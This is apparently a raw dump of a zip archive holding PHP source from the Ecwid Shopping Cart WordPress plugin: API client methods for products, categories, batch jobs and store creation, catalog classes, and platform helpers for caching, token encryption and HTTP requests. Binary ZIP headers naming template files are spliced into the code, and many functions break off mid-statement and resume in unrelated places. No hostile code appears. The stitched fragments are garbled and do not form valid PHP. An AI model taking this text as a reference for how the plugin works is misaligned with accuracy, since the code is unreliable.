) { foreach ( $result->items as $item ) { if (Ecwid_Seo_Links::is_enabled()) { $item->seo_link = $item->url; } Ecwid_Product::init_from_stdclass( $item ); } } $this->_maybe_remember_all_products($params, $result, $url); return $result; } public function get_deleted_products($input_params) { $params = array('token'); if (array_key_exists('from_date', $input_params)) { $params['from_date'] = $input_params['from_date']; } if (array_key_exists('offset', $input_params)) { $params['offset'] = $input_params['offset']; } if (array_key_exists('limit', $input_params)) { $params['limit'] = $input_params['limit']; } $result = EcwidPlatform::fetch_url( $this->build_request_url( $this->_products_api_url . '/deleted', $params ) ); if ($result['code'] != '200') { return false; } $result = json_decode($result['data']); return $result; } public function get_products($input_params) { $params = array('token'); $passthru = array( 'updatedFrom', 'offset', 'limit', 'sortBy', 'keyword', 'createdFrom', 'createdTo', 'sku', 'enabled' ); foreach ($passthru as $name) { if ( array_key_exists( $name, $input_params ) ) { $params[$name] = $input_params[$name]; } } if ( isset( $params['createdTo'] ) ) { // For some reason createdTo does not include the exact timestamp while createdFrom does $params['createdTo']++; } $result = EcwidPlatform::fetch_url( $this->build_request_url( $this->_products_api_url, $params ) ); if ($result['code'] != '200') { return false; } $result = json_decode($result['data']); return $result; } protected static function _load_token() { $db_value = get_option(self::TOKEN_OPTION_NAME); if (empty($db_value)) return false; if (strlen($db_value) == 64) { $encrypted = base64_decode($db_value); if (empty($encrypted)) return false; $token = EcwidPlatform::decrypt($encrypted); if ($token == $db_value) { return false; } } else { $token = $db_value; } return $token; } public static function get_token() { if( ecwid_is_demo_store() ) { return ecwid_get_demo_store_public_key(); } $config_value = Ecwid_Config::get_token(); if ($config_value) return $config_value; return self::_load_token(); } public function get_oauth_dialog_url($redirect_uri, $scope) { if ( !$scope || !$redirect_uri ) { return null; } $url = Ecwid_Config::get_oauth_auth_url(); $query = array(); $query['source'] = 'wporg'; $query['client_id'] = Ecwid_Config::get_oauth_appid(); $query['redirect_uri'] = $redirect_uri; $query['response_type'] = 'code'; $query['scope'] = $scope; if ( Ecwid_Config::get_channel_id() && !Ecwid_Config::is_wl() ) { $query['partner'] = Ecwid_Config::get_channel_id(); } $is_default_wl_domain = strpos($url, 'shopsettings.com') !== false; ifPK������Ê—[¶àá{¶ ��¶ ��>��ecwid-shopping-cart/templates/admin/storefront/area-design.phpnu�„[µü¤��������_Config::get_channel_id(); } foreach ($query as $key => $value) { $query[$key] = urlencode($value); } return $url . '?' . build_query( $query ); } public function does_store_exist($email) { $params = array( 'appClientId', 'appSecretKey', 'email' => $email ); $url = $this->build_request_url($this->_stores_api_url, $params); $request = Ecwid_Http::create_get('does_store_exist', $url, array( Ecwid_Http::POLICY_RETURN_VERBOSE )); if (!$request) { return false; } $result = $request->do_request(); return @$result['code'] == 200; } public function get_store_update_stats( $additional_params = false ) { static $stats = null; if ( $stats ) return $stats; $url = $this->_api_url . $this->store_id . '/latest-stats'; $params = array( 'token' => self::get_token() ); if( is_array($additional_params) ) { $params = array_merge( $additional_params, $params ); } $url = $this->build_request_url($url, $params); $result = EcwidPlatform::fetch_url($url); if ( !isset( $result['data'] ) ) { if( isset($result['message']) ) { ecwid_log_error( $result['message'] ); } return null; } $stats = json_decode($result['data']); return $stats; } public function get_store_profile( $disable_cache = false ) { if( ecwid_is_demo_store() ) { return false; } $profile = EcwidPlatform::cache_get( self::PROFILE_CACHE_NAME ); if ( $profile && !$disable_cache ) { return $profile; } if( !self::get_token() ) { self::set_api_status( self::API_STATUS_ERROR_TOKEN ); return false; } $params = array( 'token' => self::get_token() ); $url = $this->build_request_url($this->_profile_api_url, $params); $result = EcwidPlatform::fetch_url($url); if ( @$result['code'] == '403' ) { self::set_api_status( self::API_STATUS_ERROR_TOKEN ); Ecwid_Api_V3::save_token(''); return false; } if ( self::get_api_status() == self::API_STATUS_OK && ( @$result['code'] != '200' || empty($result['data'] ) ) ) { ecwid_log_error( var_export( $result, true ) ); self::set_api_status( self::API_STATUS_UNDEFINED ); return false; } $profile = json_decode($result['data']); EcwidPlatform::cache_set( self::PROFILE_CACHE_NAME, $profile, 60 * 5 ); if ($profile && isset($profile->settings) && isset($profile->settings->hideOutOfStockProductsInStorefront)) { EcwidPlatform::set('hide_out_of_stock', $profile->settings->hideOutOfStockProductsInStorefront); } add_action( 'wp' , array( 'Ecwid_Store_Page', 'set_store_url' ) ); return $profile; } public function update_store_profile( $params ) { $request_params = array( 'token' ); $url = $this->build_requestPK������Ê—[$‡ïç&��ç&��B��ecwid-shopping-cart/templates/admin/storefront/area-navigation.phpnu�„[µü¤��������r($result) && @$result['response']['code'] == '200' ) { return $result; } return false; } public function is_store_feature_enabled( $feature_name ) { static $features = array(); if ( !empty( $features ) && array_key_exists( $feature_name, $features ) ) { return $features[$feature_name]['enabled']; } $profile = $this->get_store_profile(); if (!$profile) { return false; } $toggles = @$profile->featureToggles; if ( !$toggles ) { return false; } foreach ( $toggles as $feature ) { if ( $feature->name == $feature_name ) { $features[$feature_name] = array(); $features[$feature_name]['enabled'] = $feature->enabled; return $feature->enabled; } } return false; } public function is_store_feature_available( $feature_name ) { $profile = $this->get_store_profile(); if( $profile && property_exists( $profile, 'account') && property_exists( $profile->account, 'availableFeatures' ) && is_array( $profile->account->availableFeatures ) && in_array( $feature_name, $profile->account->availableFeatures ) ) { return true; } return false; } public function create_store() { global $current_user; $admin_email = $current_user->user_email; $admin_first = get_user_meta($current_user->ID, 'first_name', true); if (!$admin_first) { $admin_first = get_user_meta($current_user->ID, 'nickname', true); } $admin_last = get_user_meta($current_user->ID, 'last_name', true); if (!$admin_last) { $admin_last = get_user_meta($current_user->ID, 'nickname', true); } $admin_name = "$admin_first $admin_last"; $admin_nickname = $current_user->display_name; $store_url = Ecwid_Store_Page::get_store_url(); $site_name = get_bloginfo('name'); $site_email = get_option('admin_email'); $timezone = get_option('timezone_string', 'UTC+0'); $params = array( 'merchant' => array( 'email' => $admin_email, 'name' => $admin_name, 'password' => wp_generate_password(8) ), 'affiliatePartner' => array( 'source' => 'wporg' ), 'profile' => array( 'generalInfo' => array( 'storeUrl' => $store_url ), 'account' => array( 'accountName' => $admin_name, 'accountNickName' => $admin_nickname, 'accountEmail' => $admin_email ), 'settings' => array( 'storeName' => $site_name ), 'mailNotifications' => array( 'adminNotificationEmails' => array($site_email), 'customerNotificationFromEmail' => $site_email ), 'formatsAndUnits' => array( 'timezone' => $timezone ) ), ); if( !in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1')) ) { $params['merchant']['ip'] = $_SERVER['REMOTE_ADDR']; } $ref = apply_filters( 'ecwid_get_new_store_ref_id', '' ); if ($ref) { $params['affiliatePartner']['ambassador'] = array( 'ref' => $ref ); } $request_params = array( 'appClientId', 'appSecretKey', 'returnApiToken' => 'true' ); $url = $this->build_request_url($this->_stores_api_url, $request_params); $result = EcwidPlatform::http_post_request( $url, json_encode($params), array( 'timeout' => 20, 'headers' => array( 'Content-Type' => 'application/json;charset="utf-8"') ) ); return $result; } public static function format_time($time) { return strftime('%F %T', $time); } protected function build_request_url($url, $input_params) { $params = array(); foreach ($input_params as $key => $param) { if ( !is_string( $key ) ) { if ($param == 'appClientId') { $params['appClientId'] = Ecwid_Config::get_oauth_appid(); } elseif ($param == 'appSecretKey') { $params['appSecretKey'] = Ecwid_Config::get_oauth_appsecret(); } elseif ($param == 'token') { $params['token'] = self::get_token(); } }else { $params[$key] = urlencode($param); } } $lang = apply_filters( 'ecwid_lang', null ); if( !empty($lang) ) { $params['lang'] = $lang; } return $url . '?' . build_query($params); } public function create_product( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url, $request_params ); $params = $this->_sanitize_product_data( $params ); $result = $this->_do_post( $url, $params ); return $result; } public function create_product_variation( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/combinations', $request_params ); $result = $this->_do_post( $url, $params ); return $result; } public function update_product( $params, $product_id ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $product_id, $request_params ); $params = $this->_sanitize_product_data( $params ); $result = $this->_do_put( $url, $params ); return $result; } protected function _sanitize_product_data( $data ) { $int_fields = array( 'quantity', 'defaultCategoryId', 'showOnFrontPage' ); foreach ( $int_fields as $field ) { if ( array_key_exists( $field, $data ) ) { $data[$field] = intval( $data[$field] ); } } $float_fields = array( 'price' ); foreach ( $float_fields as $field ) { if ( array_key_exists( $field, $data ) ) { $data[$field] = floatval( $data[$field] ); } } if ( array_key_exists( 'categoryIds', $data ) ) { foreach ( $data['categoryIds'] as $key => $id ) { $data['categoryIds'][$key] = intval( $id ); } } return $data; } public function create_category( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_categories_api_url, $request_params ); $params = $this->_sanitize_category_data( $params ); $result = $this->_do_post( $url, $params ); return $result; } public function update_category( $params, $category_id ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_categories_api_url . '/' . $category_id, $request_params ); $params = $this->_sanitize_category_data( $params ); $result = $this->_do_put( $url, $params ); return $result; } protected function _sanitize_category_data( $data ) { $result = array(); $int_fields = array( 'parentId', 'orderBy' ); foreach ( $int_fields as $field ) { if ( array_key_exists( $field, $data ) ) { $data[$field] = intval( $data[$field] ); } } return $data; } public function delete_products( $ids ) { $request_params = array( 'token' ); $requests = array(); foreach ( $ids as $id ) { $requests[] = array( 'type' => Requests::DELETE, 'url' => $this->build_request_url( $this->_products_api_url . '/' . $id, $request_params ) ); } $result = Requests::request_multiple( $requests ); return $result; } public function upload_category_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_categories_api_url . '/' . $params['categoryId'] . '/image', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function upload_product_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/image', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function upload_product_gallery_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/gallery', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function upload_product_variation_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/combinations/' . $params['variationId'] . '/image', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function get_starter_site_info() { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_starter_site_api_url, $request_params ); $result = EcwidPlatform::fetch_url( $url ); if ( !isset( $result['data'] ) ) { return null; } $data = json_decode( $result['data'] ); return $data; } protected function _do_post( $url, $data, $raw = false ) { $result = wp_remote_post( $url, array( 'body' => $raw ? $data : json_encode( $data ), 'timeout' => 20, 'headers' => array( 'Content-Type' => 'application/json;charset="utf-8"' ) ) ); if ( is_array( $result ) ) { $result['http_message'] = $this->_get_response_message_from_wp_remote_results( $result ); $json_result = $result['body']; $api_error = json_decode( $json_result ); if ( is_object( $api_error ) ) { $result['api_code'] = @$api_error->errorCode; $result['api_message'] = @$api_error->errorMessage; } } return $result; } protected function _do_put( $url, $data, $raw = false ) { $result = wp_remote_post( $url, array( 'body' => $raw ? $data : json_encode( $data ), 'timeout' => 20, 'headers' => array( 'Content-Type' => 'application/json;charset="utf-8"' ), 'method' => 'PUT' ) ); if ( is_array( $result ) ) { $result['api_message'] = $this->_get_response_message_from_wp_remote_results( $result ); } return $result; } protected function _get_response_message_from_wp_remote_results( $result ) { $raw = $result['http_response']->get_response_object()->raw; $pattern = '!HTTP/1.1 [0-9][0-9][0-9] (.*)!'; if ( preg_match( $pattern, $raw, $matches ) ) { return substr( $matches[1], 0, strlen($matches[1] ) - 1 ); } return null; } proPK������Ê—[¬éL´µ��µ��=��ecwid-shopping-cart/templates/admin/storefront/area-promo.phpnu�„[µü¤��������edFrom', 'keyword', 'category', 'productId' ); $all = true; foreach ($limiting_params as $param) { if (array_key_exists($param, $params)) { $all = false; break; } } if ($all) { EcwidPlatform::store_in_products_cache('ecwid_total_products', $result->total); if ($result->total < 100 && $result->count == $result->total) { EcwidPlatform::store_in_products_cache('ecwid_all_products_request', $url); } else { EcwidPlatform::store_in_products_cache('ecwid_all_products_request', ''); } } } public function create_batch( $params ) { $request_params = array( 'token', 'stopOnFirstFailure' => 'false' ); $url = $this->build_request_url( $this->_batch_requests_api_url, $request_params ); $result = $this->_do_post( $url, $params ); return $result; } public function get_batch_status( $ticket ) { $params = array( 'token' => self::get_token(), 'ticket' => $ticket ); $url = $this->build_request_url($this->_batch_requests_api_url, $params); $result = EcwidPlatform::fetch_url($url); if ( @$result['code'] != '200' ) { return false; } return $result; } public function compose_batch_item( $path, $method = 'GET', $body = false, $batch_id = false ) { $result = array( 'path' => $path, 'method' => $method ); if( !empty( $body ) ) { $result['body'] = $body; } if( !empty( $batch_id ) ) { $result['id'] = $batch_id; } return $result; } public function batch_create_product( $params, $batch_id = false ) { return $this->compose_batch_item( '/products', 'POST', $this->_sanitize_product_data( $params ), $batch_id ); } public function batch_update_product( $params, $product_id, $batch_id = false ) { return $this->compose_batch_item( '/products/' . $product_id, 'PUT', $this->_sanitize_product_data( $params ), $batch_id ); } public function batch_delete_product( $product_id, $batch_id = false ) { return $this->compose_batch_item( '/products/' . $product_id, 'DELETE', false, $batch_id ); } public function batch_upload_category_image_async( $params, $category_id, $batch_id = false ) { $url = $this->build_request_url('/categories/' . $catPK������Ê—[Ú¦"<‚��‚��>��ecwid-shopping-cart/templates/admin/storefront/area-status.phpnu�„[µü¤��������batch_id ); } public function batch_upload_product_image_async( $params, $product_id, $batch_id = false ) { $url = $this->build_request_url('/products/' . $product_id . '/image/async', array()); return $this->compose_batch_item( $url, 'POST', $params, $batch_id ); } public function batch_upload_product_gallery_image_async( $params, $product_id, $batch_id = false ) { $url = $this->build_request_url('/products/' . $product_id . '/gallery/async', array()); return $this->compose_batch_item( $url, 'POST', $params, $batch_id ); } public function batch_delete_all_gallery_image( $product_id, $batch_id = false ) { return $this->compose_batch_item( '/products/' . $product_id . '/gallery', 'DELETE', false, $batch_id ); } public function batch_upload_product_variation_image( $params, $product_id, $variation_id, $batch_id = false ) { $url = $this->build_request_url('/products/' . $product_id . '/combinations/' . $variation_id . '/image', $params); return $this->compose_batch_item( $url, 'POST', false, $batch_id ); } public function batch_create_product_variation( $params, $product_id, $batch_id = false ) { return $this->compose_batch_item( '/products/' . $product_id . '/combinations', 'POST', $params, $batch_id ); } }PK������Ê—[ã‡ô5 ��5 ��/��ecwid-shopping-cart/lib/ecwid_catalog_entry.phpnu�„[µü¤��������<?php abstract class Ecwid_Catalog_Entry { protected $_data; protected $_cache_name_prefix = null; protected $_link_prefix = null; protected function __construct() { $this->_data = new stdClass(); } public function __get( $name ) { if ( $name == 'link' ) { return $this->get_link(); } if ( isset($this->_data->$name) ) { return $this->_data->$name; } return null; } public function __isset( $name ) { if ($name == 'link') { $link = $this->get_link(); return (bool) $link; } return isset( $this->_data->$name ); } public static function from_stdclass( $data ) { trigger_error('from_stdclass should never be called from Ecwid_catalog_Entry'); return false; } public static function get_by_id( $id ) { trigger_error('get_by_id should never be called from Ecwid_catalog_Entry'); return false; } public function get_link( $baseUrl = false ) { if ( !isset( $this->_data->id ) ) { return false; } if ( Ecwid_Seo_Links::is_enabled() ) { return $this->get_seo_link( $baseUrl ); } else { if ( !$baseUrl ) { $baseUrl = Ecwid_Store_Page::get_store_url(); } $url = $baseUrl . '#!/'; if ( isset( $this->_data->name ) ) { $url .= $this->_linkify( $this->_data->name ) . '/'; } $url .= $this->_link_prefix . '/' . $this->_data->id; return $url; } return false; } public function get_seo_link( $baseUrl = '' ) { if ( $this->_data->id && isset($this->_data->name) ) { if ( !$baseUrl ) { if ( Ecwid_Store_Page::is_store_page() ) { $baseUrl = get_permalink(); } else { $baseUrl = Ecwid_Store_Page::get_store_url(); } } $url = $baseUrl; if ($url && strlen($url) > 0 && strrpos($url, '/') != strlen($url) - 1) { $url .= '/'; } $url .= $this->_linkify( $this->_data->name ) . '-' . $this->_link_prefix . $this->_data->id; return $url; } else if ( isset( $this->_data->seo_link ) ) { return $this->_data->seo_link; } return false; } protected function _get_cache_key_by_id( $id ) { return $this->_cache_name_prefix . $id; } protected function _linkify( $str ) { $match = array(); $result = preg_match_all('#[\p{L}0-9\-_]+#u', $str, $match); if ( $result && count( @$match[0] ) > 0 ) return implode('-', $match[0] ); return urlencode($str); } }PK������Ê—[ºÀËã‘ ��‘ ��)��ecwid-shopping-cart/lib/ecwid_catalog.phpnu�„[µü¤��������<?php class EcwidCatalog { var $store_id = 0; var $store_base_url = ''; public function __construct($store_id, $store_base_url) { $this->store_id = intval($store_id); $this->store_base_url = $store_base_url; } public function warmup_store_page( $category_id ) { $this->_get_data_for_category( $category_id, null ); } public function get_product($id) { $result = $this->_get_data_for_product($id); if ( !$result ) { return ''; } ob_start(); $product = $result->product; $formats = $result->formats; require dirname(__FILE__) . '/html-catalog-templates/product.php'; $return = ob_get_contents(); ob_end_clean(); return $return; } public function get_category($id) { $offset = ( isset($_GET['offset']) ) ? $_GET['offset'] : 0; $data = $this->_get_data_for_category( $id, $offset ); if ( !$data ) { return ''; } $main_category = null; if ($id > 0) { $main_category = $data->main_category; } $categories = $data->categories; $products = $data->products; $formats = $data->formats; ob_start(); require dirname(__FILE__) . '/html-catalog-templates/category.php'; $return = ob_get_contents(); ob_end_clean(); return $return; } protected function _get_data_for_product( $id ) { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $product = Ecwid_Product::get_by_id( $id ); $profile = $api->get_store_profile(); if (!$profile) { return null; } return (object) array( 'product' => $product, 'formats' => @$profile->formatsAndUnits ); } return null; } protected function _get_data_for_category( $id, $offset = 0 ) { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $main_category = null; if ($id > 0) { $main_category = $api->get_category( $id ); } $get_categories_params = array( 'parent' => $id ); if ($offset && $offset > 0) { $get_categories_params['offset'] = $offset; } $categories = $api->get_categories( $get_categories_params ); $get_products_params = array( 'category' => $id ); if ($offset) { $get_products_params['offset'] = $offset; } $products = $api->search_products( $get_products_params ); $profile = $api->get_store_profile(); if ( is_null( $profile ) || !isset( $categories->items ) || !isset( $products->items ) ) { return null; } return (object) array( 'main_category' => $main_category, 'categories' => $categories->items, 'products' => $products->items, 'formats' => @$profile->formatsAndUnits ); } return null; } public function parse_escaped_fragment($escaped_fragment) { $fragment = urldecode($escaped_fragment); $return = array(); if (preg_match('/^(\/~\/)([a-z]+)\/(.*)$/', $fragment, $matches)) { parse_str($matches[3], $return); $return['mode'] = $matches[2]; } elseif (preg_match('!.*/(p|c)/([0-9]*)!', $fragment, $matches)) { if (count($matches) == 3 && in_array($matches[1], array('p', 'c'))) { $return = array( 'mode' => 'p' == $matches[1] ? 'product' : 'category', 'id' => $matches[2] ); } } return $return; } } PK������Ê—[W.®LÞ��Þ��*��ecwid-shopping-cart/lib/ecwid_category.phpnu�„[µü¤��������<?php require_once dirname(__FILE__) . '/ecwid_catalog_entry.php'; class Ecwid_Category extends Ecwid_Catalog_Entry { protected static $categories = array(); protected $_cache_name_prefix = 'ecwid-category-'; protected $_link_prefix = 'c'; public static function usort_callback() { return array( 'Ecwid_Category', 'usort_categories_orderby' ); } public static function usort_categories_orderby( $a, $b ) { return @$a->orderBy > @$b->orderBy; } protected function _get_from_local_object_cache( $id ) { if ( isset( self::$categories[$id] ) ) { return self::$categories[$id]; } return null; } protected function _put_into_local_object_cache( $obj ) { if ( !isset( $obj->id ) ) { return false; } self::$categories[$obj->id] = $obj; } public static function from_stdclass( $data ) { $entry = new Ecwid_Category(); $entry->_init_from_stdclPK������Ê—[4)$������@��ecwid-shopping-cart/templates/admin/storefront/draft-message.phpnu�„[µü¤��������{ $e = new Ecwid_Category(); if ( $cat = $e->_get_from_local_object_cache($id) ) { return $cat; } $entry_data = $e->_get_from_cache( $id ); PK������Ê—[ÒCxO��O��7��ecwid-shopping-cart/templates/admin/storefront/main.phpnu�„[µü¤�������� if ( !$e->_data ) { return null; } $e->_put_into_local_object_cache($e); return $e; } protected function _get_from_cache( $id ) { return EcwidPlatform::get_from_categories_cache( $this->_get_cache_key_by_id( $id ) ); } protected function _init_from_stdclass( $data ) { $this->_data = $data; EcwidPlatform::store_in_categories_cache( $this->_get_cache_key_by_id( $data->id ), $data ); } protected function _load($id) { $data = null; if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $data = $api->get_category($id); if ( $data && Ecwid_Seo_Links::is_enabled() ) { $data->seo_link = $data->url; } } if ($data) { $this->_init_from_stdclass($data); } return $data; } }PK������Ê—[Ó¯[݇6��‡6��*��ecwid-shopping-cart/lib/ecwid_platform.phpnu�„[µü¤��������<?php require_once 'ecwid_requests.php'; require_once ECWID_PLUGIN_DIR . 'lib/phpseclib/AES.php'; class EcwidPlatform { static protected $http_use_streams = false; static protected $crypt = null; static protected $ecwid_plugin_data = null; const FORCES_CATALOG_CACHE_RESET_VALID_FROM = 'forced_catalog_cache_reset_valid_from'; const CATEGORIES_CACHE_VALID_FROM = 'categories_cache_valid_from'; const PRODUCTS_CACHE_VALID_FROM = 'products_cache_valid_from'; const PROFILE_CACHE_VALID_FROM = 'profile_cache_valid_from'; const CATALOG_CACHE_VALID_FROM = 'catalog_valid_from'; const OPTION_LOG_CACHE = 'ecwid_log_cache'; const OPTION_ECWID_PLUGIN_DATA = 'ecwid_plugin_data'; const TRANSIENTS_LIMIT = 30000; static public function get_store_id() { return get_ecwid_store_id(); } static public function init_crypt($force = false) { if ( $force || is_null(self::$crypt) ) { self::$crypt = new Ecwid_Crypt_AES(); self::_init_crypt(); } } /* * @throws InvalidArgumentException if $file can't be slugified at all */ static public function enqueue_script( $file, $deps = array(), $in_footer = false, $handle = false ) { $filename = $file; if ( strpos( $file, '.js' ) == strlen( $file ) - 3 ) { $filename = substr( $filename, 0, stPK������Ê—[&ÌàUÐ��UÐ��2��ecwid-shopping-cart/templates/admin/developers.phpnu�„[µü¤��������if ( defined( 'WP_DEBUG' ) ) { $path = ECWID_PLUGIN_DIR . 'js/' . $filename; $ver = filemtime( $path ); } else { $ver = get_option( 'ecwid_plugin_version' ); } wp_enqueue_script( $handle, ECWID_PLUGIN_URL . 'js/' . $filename, $deps, $ver, $in_footer ); } static public function make_handle( $file ) { $filename = $file; if ( strpos( $file, '.js' ) == strlen( $file ) - 3 ) { $filename = substr( $filename, 0, strlen( $file ) - 3 ); } $prefix = 'ecwid-'; if ( strpos( $file, $prefix ) === 0 ) { $filename = substr( $filename, strlen( $prefix ) ); } $handle = self::slugify( $filename ); $handle = $prefix . $handle; return $handle; } /* * @throws InvalidArgumentException if $file can't be slugified at all */ static public function enqueue_style( $file, $deps = array(), $handle = false ) { $filename = $file; if ( strpos( $file, '.css' ) == strlen( $file ) - 4 ) { $filename = substr( $filename, 0, strlen( $file ) - 4 ); } if ( !$handle ) { $handle = self::slugify( $filename ); } $handle = 'ecwid-' . $handle; $file = $filename . '.css'; if ( defined( 'WP_DEBUG' ) ) { $path = ECWID_PLUGIN_DIR . 'css/' . $file; $ver = filemtime( $path ); } else { $ver = get_option( 'ecwid_plugin_version' ); } wp_enqueue_style( $handle, ECWID_PLUGIN_URL . 'css/' . $file, $deps, $ver ); } static public function slugify( $string ) { $match = array(); $result = preg_match_all( '#[\p{L}0-9\-_]+#u', strtolower( $string ), $match ); if ( $result && count( @$match[0] ) > 0 ) { $handle = implode('-', $match[0] ); } else { throw new InvalidArgumentException( 'Can\'t make slug from ' . $string ); } return $handle; } static protected function _init_crypt() { $salt = ''; // It turns out sometimes there is no salt is wp-config. And since it is already seeded // with the SECURE_AUTH_KEY, and to avoid breaking someones encryption // we use 'SECURE_AUTH_SALT' as string if ( defined( 'SECURE_AUTH_SALT' ) ) { $salt = SECURE_AUTH_SALT; } else { $salt = 'SECURE_AUTH_SALT'; } self::$crypt->setIV( substr( md5( $salt . get_option('ecwid_store_id') ), 0, 16 ) ); self::$crypt->setKey( SECURE_AUTH_KEY ); } static public function encrypt($what) { self::init_crypt(); return self::$crypt->encrypt($what); } static public function decrypt($what) { self::init_crypt(); return self::$crypt->decrypt($what); } static public function cache_log_record( $operation, $params ) { if ( !get_option( self::OPTION_LOG_CACHE, false ) ) { return; } if (!$params) $params = array(); $backtrace = debug_backtrace(false); $file = $line = ''; foreach ( $backtrace as $entry ) { if ( strpos( @$entry['file'], 'ecwid_platform.php' ) !== false ) { continue; } @$file = $entry['file']; @$line = $entry['line']; } $log_entry = array( 'operation' => $operation, 'file' => $file, 'line' => $line, 'timestamp' => time() ); $log_entry = array_merge( $log_entry, $params ); $cache = get_option( 'ecwid_cache_log' ); if (!$cache) { $cache = array(); } $cache[] = $log_entry; update_option('ecwid_cache_log', $cache ); } static public function cache_get($name, $default = false) { $result = get_transient('ecwid_' . $name); self::cache_log_record( 'get', array( 'name' => $name, 'default' => $default, 'result' => $result ) ); if ($default !== false && $result === false) { return $default; } return $result; } static public function cache_set($name, $value, $expires_after = 0) { self::cache_log_record( 'set', array( 'name' => $name, 'value' => $value, 'expires' => $expires_after ) ); set_transient('ecwid_' . $name, $value, $expires_after); } static public function cache_reset($name) { self::cache_log_record( 'reset', array( 'name' => $name ) ); delete_transient('ecwid_' . $name); } static public function parse_args($args, $defaults) { return wp_parse_args($args, $defaults); } static public function report_error($error) { ecwid_log_error(json_encode($error)); } static public function fetch_url($url, $options = array()) { $api_check_retry_after = get_option('ecwid_api_check_retry_after', 0); if( $api_check_retry_after > time() ) { return array( 'code' => '429', 'data' => '', 'message' => 'Too Many Requests' ); } if (get_option('ecwid_http_use_stream', false)) { self::$http_use_streams = true; } $default_timeout = 10; $result = wp_remote_get( $url, array_merge( array( 'timeout' => get_option( 'ecwid_remote_get_timeout', $default_timeout ) ), $options ) ); if( wp_remote_retrieve_response_code($result) == '429' ) { $retry_after = intval( wp_remote_retrieve_header($result, 'retry-after') ); if( $retry_after > 0 ) { update_option( 'ecwid_api_check_retry_after', time() + $retry_after ); } } if (get_option('ecwid_http_use_stream', false)) { self::$http_use_streams = false; } $return = array( 'code' => '', 'data' => '', 'message' => '' ); if (is_string($result)) { $return['code'] = 200; $return['data'] = $result; } if (is_array($result)) { $return = array( 'code' => $result['response']['code'], 'data' => $result['body'] ); } elseif (is_object($result)) { $return = array( 'code' => $result->get_error_code(), 'data' => $result->get_error_data(), 'message' => $result->get_error_message() ); } return $return; } static public function http_get_request($url) { return self::fetch_url($url); } static public function http_post_request($url, $data = array(), $params = array()) { $result = null; $args = array(); if ( !empty( $params ) ) { $args = $params; } $args['body'] = $data; if ( get_option('ecwid_http_use_stream', false) !== true) { $result = wp_remote_post( $url, $args ); } if ( !is_array($result) ) { self::$http_use_streams = true; $result = wp_remote_post( $url, $args ); self::$http_use_streams = false; if ( is_array($result) ) { update_option('ecwid_http_use_stream', true); } } return $result; } static public function get( $name, $default = null ) { if ( !self::$ecwid_plugin_data ) { self::$ecwid_plugin_data = get_option( self::OPTION_ECWID_PLUGIN_DATA ); } if ( is_array( self::$ecwid_plugin_data ) && array_key_exists( $name, self::$ecwid_plugin_data ) ) { return self::$ecwid_plugin_data[$name]; } return $default; } static public function set( $name, $value ) { if ( is_null( self::$ecwid_plugin_data ) ) { self::$ecwid_plugin_data = get_option( self::OPTION_ECWID_PLUGIN_DATA ); } if ( !is_array( self::$ecwid_plugin_data ) ) { self::$ecwid_plugin_data = array(); } self::$ecwid_plugin_data[$name] = $value; update_option( self::OPTION_ECWID_PLUGIN_DATA, self::$ecwid_plugin_data ); } static public function reset( $name ) { if ( !self::$ecwid_plugin_data ) { self::$ecwid_plugin_data = get_option( self::OPTION_ECWID_PLUGIN_DATA ); } $options = get_option( self::OPTION_ECWID_PLUGIN_DATA ); if ( !is_array( self::$ecwid_plugin_data ) || !array_key_exists( $name, self::$ecwid_plugin_data ) ) { return; } unset( self::$ecwid_plugin_data[$name] ); update_option( self::OPTION_ECWID_PLUGIN_DATA, self::$ecwid_plugin_data ); } static public function http_api_transports($transports) { if (self::$http_use_streams) { return array('streams'); } return $transports; } static public function store_in_products_cache( $url, $data ) { self::_store_in_cache($url, 'products', $data); } static public function store_in_categories_cache( $url, $data ) { self::_store_in_cache($url, 'categories', $data); } static public function store_in_catalog_cache( $url, $data ) { self::_store_in_cache($url, 'catalog', $data); } static protected function _store_in_cache( $url, $type, $data ) { $name = self::_build_cache_name( $url, $type ); $to_store = array( 'time' => time(), 'data' => $data ); self::cache_set( $name, $to_store, MONTH_IN_SECONDS ); self::cache_log_record( 'store_in_entity_cache', array( 'name' => $url, 'type' => $type, 'data' => $data ), 'set' ); } static public function get_from_categories_cache( $key ) { $cache_name = self::_build_cache_name( $key, 'categories' ); $result = self::cache_get( $cache_name ); self::cache_log_record( 'get_from_categories_cache', array( 'name' => $key, 'result' => $result, 'valid_from' => EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ) ) ); if ( $result && $result['time'] > EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ) ) { return $result['data']; } return false; } static public function get_from_products_cache( $key ) { $cache_name = self::_build_cache_name( $key, 'products' ); $result = self::cache_get( $cache_name ); self::cache_log_record( 'get_from_products_cache', array( 'name' => $key, 'result' => $result, 'valid_from' => EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ) ) ); if ( $result && $result['time'] > EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ) ) { return $result['data']; } return false; } static public function get_from_catalog_cache( $key ) { $cache_name = self::_build_cache_name( $key, 'catalog' ); $result = self::cache_get( $cache_name ); $valid_from = max( EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ), EcwidPlatform::get( 